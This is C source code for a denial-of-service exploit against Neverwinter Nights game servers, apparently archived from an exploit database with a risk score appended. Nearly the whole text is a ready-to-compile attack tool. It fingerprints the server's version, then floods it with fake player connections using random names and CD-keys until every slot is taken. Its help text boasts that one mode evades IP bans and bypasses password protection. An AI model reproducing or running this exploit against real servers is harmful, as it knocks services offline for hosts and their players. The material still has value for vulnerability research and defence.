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Neverwinter Nights special - Fake Players Denial of Service
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#define FIVESEC 5000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define FIVESEC 5
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 5121
#define TIMEOUT 3
#define NICKSZ 8 // if you modify here, you must modify pck1 too!
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err(); \
fputc('.', stdout);
#define RECV if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, no reply received\n" \
"\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
fputc('.', stdout);
int find_gamever(u_char *data, int len);
int create_rand_string(u_char *data, int len, u_int tmp);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_int seed;
int sd,
i,
len,
on = 1,
special = 0,
info_only = 0,
ser_ver = 0;
u_short port = PORT;
u_char buff[BUFFSZ],
query[] =
"\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00",
srvname[] =
"BNES"
"\x00\x14"
"\x00",
info[] =
"BNXI"
"\x00\x14",
pck1[] =
"BNCS"
"\x00\x14"
"\x10"
"\x00\x00\x00\x00" // 8062 = version
"\x03\x00"
"\x01"
"\x00\x00\x00\x00" // random
"\x08" "abcdefgh" // NICKSZ and nickname
"\x08" "00000000", // cd-key
pck2[] =
"BNVS"
"\x50\x03"
"\x28" "0000000000000000000000000000000000000000"
"\x28" "0000000000000000000000000000000000000000"
"\x28" "0000000000000000000000000000000000000000"
"\x20" "00000000000000000000000000000000"
"\x20" "00000000000000000000000000000000";
setbuf(stdout, NULL);
fputs("\n"
"Neverwinter Nights special Fake Players DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host>\n"
"\n"
"Options:\n"
"-p PORT server port (default %d)\n"
"-s special attack, you will be able to consume all the server sockets\n"
" simply sending less than 100 packets each time. This type of attack\n"
" is useful because the admin cannot easily ban your IP and is fast.\n"
" It is automatically enabled if the server is protected by password.\n"
" -> This is the ONLY way to fill an internet server!!! Without this\n"
" option you can fill only local servers!\n"
"-i informations only, requests remote informations and exits\n"
"-v VER server version, by default this tool automatically retrieves the\n"
" exact remote version (needed for the attack)\n"
"\n"
" Works also versus servers protected by password without knowing the keyword!\n"
"\n", argv[0], port);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 's': special = 1; break;
case 'i': info_only = 1; break;
case 'v': ser_ver = atoi(argv[++i]); break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
}
}
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(srvname);
RECV;
if(memcmp(buff, "BNER", 4)) {
fputs("\nError: bad reply from the server\n\n", stdout);
exit(1);
}
buff[buff[8] + 9] = 0x00;
printf("\n"
" Server name %s\n", buff + 9);
SEND(info);
RECV;
close(sd);
if(memcmp(buff, "BNXR", 4)) {
fputs("\nError: bad reply from the server\n\n", stdout);
exit(1);
}
buff[buff[19] + 20] = 0x00;
printf("\n"
" Game port %d\n"
" Player Password %s\n"
" Levels %d -> %d\n"
" Players %d / %d\n"
" Local Characters Allowed %s\n"
" Player vs Player %s\n"
" Players Pause Enabled %s\n"
" Only One Party %s\n"
" Enforce Legal Characters %s\n"
" Item Level Restrictions %s\n"
" Module %s\n"
"\n",
*(u_short *)(buff + 4),
buff[7] ? "on" : "off",
buff[8], buff[9],
buff[10], buff[11],
buff[12] ? "on" : "off",
buff[13] ? "party or full" : "none",
buff[14] ? "on" : "off",
buff[15] ? "on" : "off",
buff[16] ? "on" : "off",
buff[17] ? "on" : "off",
buff + 20);
if(info_only) return(0);
if(!ser_ver) {
fputs("- retrieve server version (needed!):\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long *)(query + 3) = peer.sin_addr.s_addr; // something random
SEND(query);
RECV;
close(sd);
ser_ver = find_gamever(buff, len);
if(ser_ver <= 0) {
fputs("\n"
"Error: no gamever field found, you must manually specify the server version\n"
" with the -v option\n"
"\n", stdout);
exit(1);
}
}
printf("\n- server version %d\n", ser_ver);
*(u_long *)(pck1 + 7) = ser_ver;
seed = time(NULL);
fputs("- start attack:\n", stdout);
for(;;) {
for(i = 0;; i++) {
if(special) printf("\n Packet %d: ", i);
else fputs("\n Player: ", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
*(u_long *)(pck1 + 14) = peerl.sin_port;
seed = create_rand_string(pck1 + 19, NICKSZ, seed); // random nick
seed = create_rand_string(pck1 + 20 + NICKSZ, 8, seed); // random cd-key
SEND(pck1);
RECV;
if(buff[6] != 0x56) {
if(buff[7] == 5) {
close(sd);
break;
} else if(buff[7] == 2) {
fputs("\nError: wrong version, server uses another version (check the -v option)\n\n", stdout);
exit(1);
} else if(buff[7] == 6) {
fputs("\nAlert: a player with a same name already exists, I wait 5 seconds and retry\n", stdout);
close(sd);
sleep(FIVESEC);
continue;
} else if(buff[7] == 10) {
fputs("\nError: you are banned on this server\n\n", stdout);
exit(1);
} else if(buff[7] == 12) {
fputs("\nError: your nickname contains wrong chars\n\n", stdout);
exit(1);
} else if(buff[7] == 32) {
fputs("- password protection, I bypass it", stdout);
close(sd);
continue;
} else {
printf("\nError: the fake player has not been accepted (error %d)\n\n", buff[7]);
exit(1);
}
}
if(special) {
close(sd);
continue;
}
RECV;
seed = create_rand_string(pck2 + 7, 40, seed);
seed = create_rand_string(pck2 + 48, 40, seed);
seed = create_rand_string(pck2 + 89, 40, seed);
seed = create_rand_string(pck2 + 130, 32, seed);
seed = create_rand_string(pck2 + 163, 32, seed);
SEND(pck2);
RECV;
if(!memcmp(buff, "BNVRR", 5)) {
fputs("\n"
"Error: the player seems to have not been accepted.\n"
" Remember that you must use the special attack (-s option) to fill\n"
" internet servers!\n"
"\n", stdout);
}
close(sd);
}
fputs("- server full", stdout);
sleep(FIVESEC);
}
return(0);
}
int find_gamever(u_char *data, int len) {
int nt = 0,
ver = -1;
u_char *p,
*limit;
limit = data + len;
data += 5;
while(data < limit) {
p = strchr(data, 0x00);
if(!p) break;
*p = 0x00;
if(!nt) {
if(!*data) break;
if(!strcmp(data, "gamever")) ver = 0;
nt++;
} else {
if(!ver) ver = atoi(data);
nt = 0;
}
data = p + 1;
}
return(ver);
}
int create_rand_string(u_char *data, int len, u_int tmp) {
if(!tmp) tmp++;
while(len--) {
tmp = (*data + tmp) % 62;
if(tmp <= 9) {
*data = tmp + '0';
} else if((tmp >= 10) && (tmp <= 35)) {
*data = (tmp - 10) + 'A';
} else {
*data = (tmp - 36) + 'a';
}
data++;
}
return(tmp << 1);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-12-01]Data
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01 Dec 2004 00:00Current
7.4High risk
Vulners AI Score7.4